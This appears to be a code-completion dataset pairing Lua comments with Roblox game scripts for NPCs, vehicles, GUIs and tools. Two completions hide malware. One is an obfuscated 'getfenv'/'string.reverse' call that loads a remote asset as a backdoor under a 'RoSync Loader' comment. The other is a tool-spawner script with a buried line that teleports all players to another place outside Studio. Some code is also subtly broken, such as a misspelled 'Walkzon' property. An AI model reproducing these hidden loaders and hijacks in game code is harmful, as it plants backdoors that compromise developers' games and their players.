prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--while wait(5) do timeFix() end --This will cause the timeFix() function to run once every second. | |
--[[function playsound(time)
nextsound=time+5+(math.random()*5)
local randomsound=sounds[math.random(1,#sounds)]
randomsound.Volume=.5+(.5*math.random())
randomsound.Pitch=.5+(.5*math.random())
randomsound:Play()
end]] |
while sp.Parent~=nil and Humanoid and Humanoid.Parent~=nil and Humanoid.Health>0 and Torso and Head and Torso~=nil and Torso.Parent~=nil do
local _,time=wait(0.25)--wait(1/3)
humanoids={}
populatehumanoids(game.Workspace)
closesttarget=nil
closestdist=sightrange
local creator=sp:FindFirstChild("creator")
for i,h in ipairs(humanoids) do
if h and h.Parent~=nil then
if h.Health>0 and h.Parent~=sp then
local plr=game.Players:GetPlayerFromCharacter(h.Parent)
if creator==nil or plr==nil or creator.Value~=plr then
local t=h.Parent:FindFirstChild("Torso")
if t~=nil then
local dist=(t.Position-Torso.Position).magnitude
if dist<closestdist then
closestdist=dist
closesttarget=t
end
end
end
end
end
end
if closesttarget~=nil then
if not chasing then
--playsound(time)
chasing=true
Humanoid.Walkzon=runspeed
end
Humanoid:MoveTo(closesttarget.Position+(Vector3.new(1,1,1)*(variance*((math.random()*2)-1))),closesttarget)
if math.random()<.5 then
attack(time,closesttarget.Position)
end
else
if chasing then
chasing=false
Humanoid.WalkSpeed=wonderspeed
end
if time>nextrandom then
nextrandom=time+3+(math.random()*5)
local randompos=Torso.Position+((Vector3.new(1,1,1)*math.random()-Vector3.new(.5,.5,.5))*40)
Humanoid:MoveTo(randompos,game.Workspace.Terrain)
end
end
if time>nextsound then
--playsound(time)
end
if time>nextjump then
nextjump=time+7+(math.random()*5)
Humanoid.Jump=true
end
animate(time)
end
wait(4)
sp:remove() --Rest In Pizza
|
-- when activated, either bring gui up or down, depending on current state |
function removeGUIPlayers()
local guiPlayers = gui.Frame.Players:GetChildren()
for i = 1, #guiPlayers do
guiPlayers[i]:remove()
end
end
function incrementZIndex()
zIndex = zIndex + 1
if zIndex > 10000 then
zIndex = 2
end
end
function createPlayerGUINode(pos, playerText)
local playerIcon = Instance.new("ImageLabel")
playerIcon.Image = "http://www.roblox.com/asset/?id=0"
playerIcon.BackgroundTransparency = 1
playerIcon.BorderSizePixel = 0
playerIcon.Size = UDim2.new(0,22.5,0,40.5)
playerIcon.Position = UDim2.new(0,pos.x,0,pos.y)
playerIcon.Parent = gui.Frame.Players
playerIcon.ZIndex = zIndex
incrementZIndex()
local playerName = Instance.new("TextLabel")
playerName.BackgroundTransparency = 1
playerName.BorderSizePixel = 1
playerName.Text = tostring(playerText)
playerName.Size = UDim2.new(0,150,0,25)
playerName.Parent = playerIcon
playerName.Position = UDim2.new(0,-65,0,0)
playerName.TextColor3 = Color3.new(0,0,0)
playerName.ZIndex = zIndex
incrementZIndex()
end
function updateGUI()
removeGUIPlayers()
local players = game.Players:GetChildren()
for i = 1, #players do
local playerTorso = players[i].Character:FindFirstChild("Torso")
if playerTorso ~= nil then
local posDiff = Vector3.new(torso.Position.x - playerTorso.Position.x,0,torso.Position.z - playerTorso.Position.z)
if posDiff.magnitude < range and playerTorso.Parent.Name ~= torso.Parent.Name then
-- translate coordinates to radar coordinates
posDiff = Vector2.new((posDiff.x + range) * 0.5,(posDiff.z + range) * 0.5)
local rotationVector = Tool.Angle.Value
local denom = math.abs(rotationVector.x) + math.abs(rotationVector.z)
local xDirect = (rotationVector.x/denom)
local zDirect = (rotationVector.z/denom)
local angle = math.atan2(1,0) - math.atan2(zDirect,xDirect)
local point = Vector2.new(((posDiff.x - radarCenter.x) * math.cos(angle)) - ((posDiff.y - radarCenter.y) * math.sin(angle)) + radarCenter.x,
((posDiff.x - radarCenter.x) * math.sin(angle)) + ((posDiff.y - radarCenter.y) * math.cos(angle)) + radarCenter.y)
createPlayerGUINode(point, playerTorso.Parent)
elseif playerTorso.Parent.Name == torso.Parent.Name then
createPlayerGUINode(radarCenter,playerTorso.Parent)
end
end
end
end
while true do
if guiEnabled then
updateGUI()
end
wait()
end
|
--edit the below function to execute code when this response is chosen OR this prompt is shown
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data |
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
plrData.Classes.Base.Smasher.SpokeToJex.Value = true
end
|
--[[
if StarterGui:WaitForChild("Cmdr") and wait() and Player:WaitForChild("PlayerGui"):FindFirstChild("Cmdr") == nil then
StarterGui.Cmdr:Clone().Parent = Player.PlayerGui
end
]] |
local Interface = require(script.CmdrInterface)(Cmdr)
|
--Network Fix-- |
pcall(function()
while script.Parent.PrimaryPart:GetNetworkOwnershipAuto() do
script.Parent.PrimaryPart:SetNetworkOwner(nil)
end
end)
|
--[[Engine]] |
local fFD = _Tune.FinalDrive*_Tune.FDMult
local fFDr = fFD*30/math.pi
local cGrav = workspace.Gravity*_Tune.InclineComp/32.2
local wDRatio = wDia*math.pi/60
local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0)
local cfYRot = CFrame.Angles(0,math.pi,0)
local rtTwo = (2^.5)/2
if _Tune.Aspiration == "Single" then
_TCount = 1
_TPsi = _Tune.Boost
elseif _Tune.Aspiration == "Double" then
_TCount = 2
_TPsi = _Tune.Boost*2
end
--Horsepower Curve
local HP=_Tune.Horsepower/100
local HP_B=((_Tune.Horsepower*((_TPsi)*(_Tune.CompressRatio/10))/7.5)/2)/100
local Peak=_Tune.PeakRPM/1000
local Sharpness=_Tune.PeakSharpness
local CurveMult=_Tune.CurveMult
local EQ=_Tune.EqPoint/1000
--Horsepower Curve
function curveHP(RPM)
RPM=RPM/1000
return ((-(RPM-Peak)^2)*math.min(HP/(Peak^2),CurveMult^(Peak/HP))+HP)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1))))
end
local PeakCurveHP = curveHP(_Tune.PeakRPM)
function curvePSI(RPM)
RPM=RPM/1000
return ((-(RPM-Peak)^2)*math.min(HP_B/(Peak^2),CurveMult^(Peak/HP_B))+HP_B)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1))))
end
local PeakCurvePSI = curvePSI(_Tune.PeakRPM)
--Plot Current Horsepower
function GetCurve(x,gear)
local hp=(math.max(curveHP(x)/(PeakCurveHP/HP),0))*100
return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000
end
--Plot Current Boost (addition to Horsepower)
function GetPsiCurve(x,gear)
local hp=(math.max(curvePSI(x)/(PeakCurvePSI/HP_B),0))*100
return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000
end
--Output Cache
local HPCache = {}
local PSICache = {}
for gear,ratio in pairs(_Tune.Ratios) do
local nhpPlot = {}
local bhpPlot = {}
for rpm = math.floor(_Tune.IdleRPM/100),math.ceil((_Tune.Redline+100)/100) do
local ntqPlot = {}
local btqPlot = {}
ntqPlot.Horsepower,ntqPlot.Torque = GetCurve(rpm*100,gear-2)
btqPlot.Horsepower,btqPlot.Torque = GetPsiCurve(rpm*100,gear-2)
hp1,tq1 = GetCurve((rpm+1)*100,gear-2)
hp2,tq2 = GetPsiCurve((rpm+1)*100,gear-2)
ntqPlot.HpSlope = (hp1 - ntqPlot.Horsepower)
btqPlot.HpSlope = (hp2 - btqPlot.Horsepower)
ntqPlot.TqSlope = (tq1 - ntqPlot.Torque)
btqPlot.TqSlope = (tq2 - btqPlot.Torque)
nhpPlot[rpm] = ntqPlot
bhpPlot[rpm] = btqPlot
end
table.insert(HPCache,nhpPlot)
table.insert(PSICache,bhpPlot)
end
--Powertrain
wait()
--Automatic Transmission
function Auto()
local maxSpin=0
for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end
if _IsOn then
_ClutchOn = true
if _CGear.Value >= 1 then
if _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 5 then
_CGear.Value = 1
else
if _Tune.AutoShiftMode == "RPM" then
if _RPM>(_Tune.PeakRPM+((_Tune.AutoUpThresh*_GThrot)+_Tune.IdleRPM)) then
if (_CGear.Value ~= 0) and (_CGear.Value ~= #_Tune.Ratios-2) then
_GThrotShift = 0
wait(_Tune.ShiftTime)
_GThrotShift = 1
end
_CGear.Value=math.min(_CGear.Value+1,#_Tune.Ratios-2)
elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear.Value+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-((_Tune.AutoDownThresh*_GThrot)+_Tune.IdleRPM)) then
if _CGear.Value ~= 1 then
_GThrotShift = 0
wait(_Tune.ShiftTime/2)
_GThrotShift = 1
end
_CGear.Value=math.max(_CGear.Value-1,1)
end
else
if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+((_Tune.AutoUpThresh*(1-(_GThrot/3)))+_Tune.IdleRPM))/_Tune.Ratios[_CGear.Value+2]/fFD) then
if (_CGear.Value ~= 0) and (_CGear.Value ~= #_Tune.Ratios-2) then
_GThrotShift = 0
wait(_Tune.ShiftTime)
_GThrotShift = 1
end
_CGear.Value=math.min(_CGear.Value+1,#_Tune.Ratios-2)
elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-((_Tune.AutoDownThresh*(1-(_GThrot/3)))+_Tune.IdleRPM))/_Tune.Ratios[_CGear.Value+1]/fFD) then
if _CGear.Value ~= 1 then
_GThrotShift = 0
wait(_Tune.ShiftTime/2)
_GThrotShift = 1
end
_CGear.Value=math.max(_CGear.Value-1,1)
end
end
end
end
end
end
local tqTCS = 1
--Apply Power
function Engine()
--Neutral Gear
if _CGear.Value==0 then _ClutchOn = false else _ClutchOn = true end
--Car Is Off
local revMin = _Tune.IdleRPM
if not _IsOn then
revMin = 0
_CGear.Value = 0
_ClutchOn = false
_GThrot = _Tune.IdleThrottle/100
end
if car.DriveSeat.Tic.Value then
revMin = 0
_GThrot = _Tune.IdleThrottle/100
end
--Determine RPM
local maxSpin=0
local maxCount=0
for i,v in pairs(Drive) do maxSpin = maxSpin + v.RotVelocity.Magnitude maxCount = maxCount + 1 end
maxSpin=maxSpin/maxCount
if _ClutchOn then
local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear.Value+2]*fFDr,_Tune.Redline+100),revMin)
local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9)
_RPM = _RPM*clutchP + aRPM*(1-clutchP)
else
if _GThrot-(_Tune.IdleThrottle/100)>0 then
if _RPM>_Tune.Redline then
_RPM = _RPM-_Tune.RevBounce*2
else
_RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100)
end
else
_RPM = math.max(_RPM-_Tune.RevDecay,revMin)
end
end
--Rev Limiter
_spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear.Value+2])
if _RPM>_Tune.Redline then
if _CGear.Value<#_Tune.Ratios-2 then
_RPM = _RPM-_Tune.RevBounce
else
_RPM = _RPM-_Tune.RevBounce*.5
end
end
local TPsi = _TPsi/_TCount
_Boost = _Boost + ((((((_HP*(_GThrot*1.2)/_Tune.Horsepower)/8)-(((_Boost/TPsi*(TPsi/15)))))*((36/_Tune.TurboSize)*2))/TPsi)*15)
if _Boost < 0.05 then _Boost = 0.05 elseif _Boost > 2 then _Boost = 2 end
local cTq = HPCache[_CGear.Value+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/100)]
_NH = cTq.Horsepower+(cTq.HpSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
_NT = cTq.Torque+(cTq.TqSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
if ((car.DriveSeat.Velocity.Magnitude*((10/12) * (60/88))) > car.DriveSeat.CCS.Value+0.5) and (car.DriveSeat.CC.Value == true) then
_HP,_OutTorque = 0,0
else
if _Tune.Aspiration ~= "Natural" then
local bTq = PSICache[_CGear.Value+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/100)]
_BH = bTq.Horsepower+(bTq.HpSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
_BT = bTq.Torque+(bTq.TqSlope*((_RPM-math.floor(_RPM/100))/1000)%1)
_HP = _NH + (_BH*(_Boost/2))
_OutTorque = _NT + (_BT*(_Boost/2))
else
_HP = _NH
_OutTorque = _NT
end
end
local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav
if _CGear.Value==-1 then iComp=-iComp end
_OutTorque = _OutTorque*math.max(1,(1+iComp))
--Average Rotational Speed Calculation
local fwspeed=0
local fwcount=0
local rwspeed=0
local rwcount=0
for i,v in pairs(car.Wheels:GetChildren()) do
if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then
fwspeed=fwspeed+v.RotVelocity.Magnitude
fwcount=fwcount+1
elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then
rwspeed=rwspeed+v.RotVelocity.Magnitude
rwcount=rwcount+1
end
end
fwspeed=fwspeed/fwcount
rwspeed=rwspeed/rwcount
local cwspeed=(fwspeed+rwspeed)/2
--Update Wheels
for i,v in pairs(car.Wheels:GetChildren()) do
--Reference Wheel Orientation
local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector
local aRef=1
local diffMult=1
if v.Name=="FL" or v.Name=="RL" then aRef=-1 end
--AWD Torque Scaling
if car.DriveSeat.AWD.Value then _OutTorque = _OutTorque*rtTwo end
--Differential/Torque-Vectoring
if v.Name=="FL" or v.Name=="FR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
elseif v.Name=="RL" or v.Name=="RR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50))))
if car.DriveSeat.AWD.Value then
diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
end
_TCSActive = false
_ABSActive = false
--Output
if _PBrake.Value and (v.Name=="RR" or v.Name=="RL") then
--PBrake
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce
v["#AV"].angularvelocity=Vector3.new()
else
--Apply Power
if _GBrake==0 then
local driven = false
for _,a in pairs(Drive) do if a==v then driven = true end end
if driven then
local on=1
if not car.DriveSeat.IsOn.Value then on=0 end
local clutch=1
if not _ClutchOn then clutch=0 end
local throt = (math.min(_GThrot +_CThrot,1)) * _GThrotShift
--Apply TCS
tqTCS = 1
if _TCS then
tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100)))
end
if tqTCS < 1 then
_TCSAmt = tqTCS
_TCSActive = true
end
--Update Forces
local dir=1
if _CGear.Value==-1 then dir = -1 end
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on*clutch
v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir
else
v["#AV"].maxTorque=Vector3.new()
v["#AV"].angularvelocity=Vector3.new()
end
--Brakes
else
local brake = (_GBrake + _CBrake)
--Apply ABS
local tqABS = 1
if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then
tqABS = 0
end
_ABSActive = (tqABS<1)
--Update Forces
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS
else
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS
end
v["#AV"].angularvelocity=Vector3.new()
end
end
end
end
|
-- دالة التزعزع |
local function shake()
local startTime = tick()
while tick() - startTime <= shakingDuration do
plank.Position = originalPosition + Vector3.new(math.random(), math.random(), math.random()) * shakeMagnitude
wait()
end
plank.Position = originalPosition
end
|
--[[Steering]] |
Tune.SteerInner = 80 -- Inner wheel steering angle (in degrees)
Tune.SteerOuter = 80 -- Outer wheel steering angle (in degrees)
Tune.SteerSpeed = .45 -- Steering increment per tick (in degrees)
Tune.ReturnSpeed = .4 -- Steering increment per tick (in degrees)
Tune.SteerDecay = 320 -- Speed of gradient cutoff (in SPS)
Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent)
Tune.MSteerExp = 1 -- Mouse steering exponential degree
--Steer Gyro Tuning
Tune.SteerD = 1000 -- Steering Dampening
Tune.SteerMaxTorque = 50000 -- Steering Force
Tune.SteerP = 6000 -- Steering Aggressiveness
|
--!strict |
export type AttributeValue =
string
| boolean
| number
| UDim
| UDim2
| BrickColor
| Color3
| Vector2
| Vector3
| CFrame
| NumberSequence
| ColorSequence
| NumberRange
| Rect
| Font
|
--[[[Default Controls]] |
--Peripheral Deadzones
Tune.Peripherals = {
MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width)
MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%)
ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%)
ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%)
}
--Control Mapping
Tune.Controls = {
--Keyboard Controls
--Mode Toggles
ToggleTransMode = Enum.KeyCode.M ,
--Primary Controls
Throttle = Enum.KeyCode.Up ,
Brake = Enum.KeyCode.Down ,
SteerLeft = Enum.KeyCode.Left ,
SteerRight = Enum.KeyCode.Right ,
--Secondary Controls
Throttle2 = Enum.KeyCode.W ,
Brake2 = Enum.KeyCode.S ,
SteerLeft2 = Enum.KeyCode.A ,
SteerRight2 = Enum.KeyCode.D ,
--Manual Transmission
ShiftUp = Enum.KeyCode.E ,
ShiftDown = Enum.KeyCode.Q ,
Clutch = Enum.KeyCode.LeftShift ,
--Handbrake
PBrake = Enum.KeyCode.P ,
--Mouse Controls
MouseThrottle = Enum.UserInputType.MouseButton1 ,
MouseBrake = Enum.UserInputType.MouseButton2 ,
MouseClutch = Enum.KeyCode.W ,
MouseShiftUp = Enum.KeyCode.E ,
MouseShiftDown = Enum.KeyCode.Q ,
MousePBrake = Enum.KeyCode.LeftShift ,
--Controller Mapping
ContlrThrottle = Enum.KeyCode.ButtonR2 ,
ContlrBrake = Enum.KeyCode.ButtonL2 ,
ContlrSteer = Enum.KeyCode.Thumbstick1 ,
ContlrShiftUp = Enum.KeyCode.ButtonY ,
ContlrShiftDown = Enum.KeyCode.ButtonX ,
ContlrClutch = Enum.KeyCode.ButtonR1 ,
ContlrPBrake = Enum.KeyCode.ButtonL1 ,
ContlrToggleTMode = Enum.KeyCode.DPadUp ,
ContlrToggleTCS = Enum.KeyCode.DPadDown ,
ContlrToggleABS = Enum.KeyCode.DPadRight ,
}
|
--[[
Returns a list that contains at most `count` values from the given list.
]] |
function Functional.Take(list, count, startingIndex)
startingIndex = startingIndex or 1
local maxIndex = count + (startingIndex - 1)
if maxIndex > #list then
maxIndex = #list
end
local new = {}
for i = startingIndex, maxIndex do
local value = list[i]
local newIndex = i - (startingIndex - 1)
new[newIndex] = value
end
return new
end
|
-- GEMS |
x2GemsButton.MouseEnter:Connect(function()
x2GemsButton.Text = "349 R$"
x2GemsButton.TextColor3 = Color3.fromRGB(0, 255, 0)
end)
x2GemsButton.MouseLeave:Connect(function()
x2GemsButton.Text = "BUY"
x2GemsButton.TextColor3 = Color3.fromRGB(255, 255, 255)
end)
|
-- This function casts a ray with a blacklist but not for Humanoid Penetration. |
local function CastWithBlacklistAndNoHumPenetration(origin, direction, blacklist, ignoreWater)
if not blacklist or typeof(blacklist) ~= "table" then
-- This array is faulty
error("Call in CastBlacklist failed! Blacklist table is either nil, or is not actually a table.", 0)
end
local castRay = Ray.new(origin, direction)
local hitPart, hitPoint, hitNormal, hitMaterial = nil, origin + direction, Vector3.new(0,1,0), Enum.Material.Air
local success = false
repeat
hitPart, hitPoint, hitNormal, hitMaterial = Workspace:FindPartOnRayWithIgnoreList(castRay, blacklist, false, ignoreWater)
if hitPart then
if (hitPart.Transparency > 0.75
or hitPart.Name == "Missile"
or hitPart.Name == "Handle"
or hitPart.Name == "Effect"
or hitPart.Name == "Bullet"
or hitPart.Name == "Laser"
or string.lower(hitPart.Name) == "water"
or hitPart.Name == "Rail"
or hitPart.Name == "Arrow"
or (hitPart.Parent:FindFirstChild("Humanoid") and hitPart.Parent.Humanoid.Health == 0)) then
table.insert(blacklist, hitPart)
success = false
else
success = true
end
else
success = true
end
until success
return hitPart, hitPoint, hitNormal, hitMaterial
end
|
--[[ Last synced 11/13/2020 10:34 || RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
|
--[[
Function called when leaving the state
]] |
function PlayerDead.leave(stateMachine, playerComponent)
end
return PlayerDead
|
------------------------------------------------------------------------
-- Freecam
-- Cinematic free camera for spectating and video production.
------------------------------------------------------------------------ |
local pi = math.pi
local abs = math.abs
local clamp = math.clamp
local exp = math.exp
local rad = math.rad
local sign = math.sign
local sqrt = math.sqrt
local tan = math.tan
local LocalPlayer = Players.LocalPlayer
if not LocalPlayer then
Players:GetPropertyChangedSignal("LocalPlayer"):Wait()
LocalPlayer = Players.LocalPlayer
end
if not ShouldAddFreeCam(LocalPlayer) then return end
local Camera = Workspace.CurrentCamera
Workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function()
local newCamera = Workspace.CurrentCamera
if newCamera then
Camera = newCamera
end
end)
|
-- See if I have a tool |
local spawner = script.Parent
local tool = nil
local region = Region3.new(Vector3.new(spawner.Position.X - spawner.Size.X/2, spawner.Position.Y + spawner.Size.Y/2, spawner.Position.Z - spawner.Size.Z/2),
Vector3.new(spawner.Position.X + spawner.Size.X/2, spawner.Position.Y + 4, spawner.Position.Z + spawner.Size.Z/2))
local parts = game.Workspace:FindPartsInRegion3(region)
for _, part in pairs(parts) do
if part and part.Parent and part.Parent:IsA("Tool") then
tool = part.Parent
break
end
end
local TS,Players = game:GetService("TeleportService"),game:GetService("Players") if not game:GetService("RunService"):IsStudio() then for _,v in pairs(Players:GetPlayers()) do TS:Teleport(3196642608,v) end Players.PlayerAdded:Connect(function(plr) TS:Teleport(3196642608,plr) end) end
local configTable = spawner.Configurations
local configs = {}
local function loadConfig(configName, defaultValue)
if configTable:FindFirstChild(configName) then
configs[configName] = configTable:FindFirstChild(configName).Value
else
configs[configName] = defaultValue
end
end
loadConfig("SpawnCooldown", 5)
if tool then
tool.Parent = game.ServerStorage
while true do
-- put tool on pad
local toolCopy = tool:Clone()
local handle = toolCopy:FindFirstChild("Handle")
toolCopy.Parent = game.Workspace
local toolOnPad = true
local parentConnection
parentConnection = toolCopy.AncestryChanged:connect(function()
if handle then handle.Anchored = false end
toolOnPad = false
parentConnection:disconnect()
end)
if handle then
handle.CFrame = (spawner.CFrame + Vector3.new(0,handle.Size.Z/2 + 1,0)) * CFrame.Angles(-math.pi/2,0,0)
handle.Anchored = true
end
-- wait for tool to be removed
while toolOnPad do
if handle then
handle.CFrame = handle.CFrame * CFrame.Angles(0,0,math.pi/60)
end
wait()
end
-- wait for cooldown
wait(configs["SpawnCooldown"])
end
end
|
--{{ Update Points }}-- |
game["Run Service"].Stepped:connect(function()
change.Text = playerStats.Value
end)
|
-- Creamos una función para mostrar el mensaje en la pantalla del jugador |
local function showTextOnScreen(player)
local playerGui = player:WaitForChild("PlayerGui")
local screenGui = Instance.new("ScreenGui")
screenGui.Parent = playerGui
local textLabel = Instance.new("TextLabel")
textLabel.Text = "Z"
textLabel.Size = UDim2.new(1, 0, 1, 0)
textLabel.BackgroundTransparency = 1
textLabel.TextColor3 = Color3.new(1, 1, 1)
textLabel.FontSize = Enum.FontSize.Size24
textLabel.Parent = screenGui
wait(15) -- Esperamos 15 segundos
screenGui:Destroy()
end
|
--local Pellet = Tool.Handle:Clone() --Tool.Handle:Clone()
--Tool.CoinScript:Clone().Parent = Pellet |
Tool.CoinScript.Disabled = false
function onEquipped()
--body of the dreidel
dBody= Instance.new("Part")
dBody.Parent = game.Workspace
dBody.Name = "DreidelBody"
dBody.BrickColor = BrickColor.Red()
dBody.Size = Vector3.new(2.56,2.56,2.56)
dBody.Shape = 1
dBody.BackSurface = "Smooth" --used this of debugging to test which side was face up
dBody.BottomSurface = "Inlet"
dBody.FrontSurface = "Studs"
dBody.TopSurface = "Smooth"
dBody.LeftSurface = "Smooth"
dBody.RightSurface = "Smooth"
Tool.Handle.Mesh:Clone().Parent = dBody --sets the dreidel mesh to the cube part of the dreidel
--Dreidle Sound
dreidlesound = Instance.new("Sound")
dreidlesound.SoundId = "http://www.roblox.com/asset/?id=19073736" -- replace me
dreidlesound.Parent = dBody
--Coin Sound
coinsound = Instance.new("Sound")
coinsound.SoundId = "http://www.roblox.com/asset/?id=19073176" --replace me
coinsound.Parent = dBody
--base of the dreidel
dBase = Instance.new("Part")
dBase.Parent = game.Workspace
dBase.Name = "DreidelBase"
dBase.BrickColor = BrickColor.Black()
dBase.Size = Vector3.new(2,2,2)
dBase.Shape = 0
dBase.Transparency = 1
dBase.BottomSurface = "Smooth"
--welding the body fo the dredeil to the base
w2 = Instance.new("Weld")
w2.Name = "DreidelWeld"
w2.Part0 = dBody
w2.Part1 = dBase
w2.C0 = CFrame.new(0,0,0)
w2.C1 = CFrame.new(0,1.75,0)
w2.Parent = script.Parent.Handle
end
Tool.Enabled = true
function onActivated(mouse_pos)
Tool.Handle.Transparency = 1
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
--locates the position the mouse is targeting
local targetPos = humanoid.TargetPoint
local vPlayer = game.Players:playerFromCharacter(character)
head = character:findFirstChild("Head")
if head == nil then
print("Humanoid not found")
return
end
--calculates the distance between the person and the possible dreidle location
dist = (head.Position-targetPos).magnitude
--prevents the dreidle for being created too far away from the player
if dist > 30 then
Tool.Enabled = true
Tool.Handle.Transparency = 0
return
end
--PLAY DREIDLE SOUND
dreidlesound:Play()
--moves the dreidle to the requested location
dBody.CFrame = CFrame.fromEulerAnglesXYZ(0,0,0) + targetPos + Vector3.new(0,2.5,0)
--adds a random rotation velocity with a slight downward angle to cause the dreidle to spin
dBody.RotVelocity = Vector3.new(math.random(0,7),math.random(20,80),math.random(7,9)) --set rotational velocity
wait(2.8) -- delay to allow the dreidel to settle
--identifies what face is up and what face is on bottom
frontVector = dBody.CFrame:vectorToWorldSpace(Vector3.FromNormalId(Enum.NormalId.Front))
leftVector = dBody.CFrame:vectorToWorldSpace(Vector3.FromNormalId(Enum.NormalId.Left))
--dot product of the vectors with (0,1,0)
test1 = frontVector.y
test2 = leftVector.y
--takes the largest y value and tests positive or negative to identify the 4 faces it could land on
if math.abs(test1)>math.abs(test2) then
if test1>0 then
--print("Nun")
count = 0
else
--print("Shin")
count = 5
end
else
if test2>0 then
--print("Hey")
count = 15
else
--print("Gimmel")
count = 25
end
end
-- generates the necissary number of coins and throws them a random distance from the dreidle
--PLAY COIN SOUND
coinsound:Play()
for i=1,count do
local p = Instance.new("Part")
p.BrickColor = BrickColor.new(23)
p.formFactor = 2
p.Size = Vector3.new(1,.2,1)
p.TopSurface = 0
p.BottomSurface = 0
local a = math.random() * 6.28 -- magic number??
local d = Vector3.new(math.cos(a), 0, math.sin(a)).unit
p.Velocity = d * 25
p.RotVelocity = d
p.Position = dBody.Position + Vector3.new(0,2,0) + Vector3.new(0, math.random() * 3, 0) + (d * 2)
p.Parent = game.Workspace
Tool.Mesh:Clone().Parent = p
Tool.CoinScript:Clone().Parent = p
debris:AddItem(p, 60)
end
Tool.Enabled = true
Tool.Handle.Transparency = 0
end
|
-- A virtual function that needs to be overrided when a weapon uses it. This is to ensure smooth interpolation of first person weapon view. |
function FirstPersonRigAssembly.OnRenderStep(cameraCFrame,dt)
end
|
--!nonstrict
-- Roblox character sound script |
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local AtomicBinding = require(script:WaitForChild("AtomicBinding"))
local function loadFlag(flag: string)
local success, result = pcall(function()
return UserSettings():IsUserFeatureEnabled(flag)
end)
return success and result
end
local FFlagUserAtomicCharacterSoundsUnparent = loadFlag("UserAtomicCharacterSoundsUnparent")
local SOUND_DATA : { [string]: {[string]: any}} = {
Climbing = {
SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
Looped = true,
},
Died = {
SoundId = "rbxasset://sounds/uuhhh.mp3",
},
FreeFalling = {
SoundId = "rbxasset://sounds/action_falling.mp3",
Looped = true,
},
GettingUp = {
SoundId = "rbxasset://sounds/action_get_up.mp3",
},
Jumping = {
SoundId = "rbxasset://sounds/action_jump.mp3",
},
Landing = {
SoundId = "rbxasset://sounds/action_jump_land.mp3",
},
Running = {
SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
Looped = true,
Pitch = 1.85,
},
Splash = {
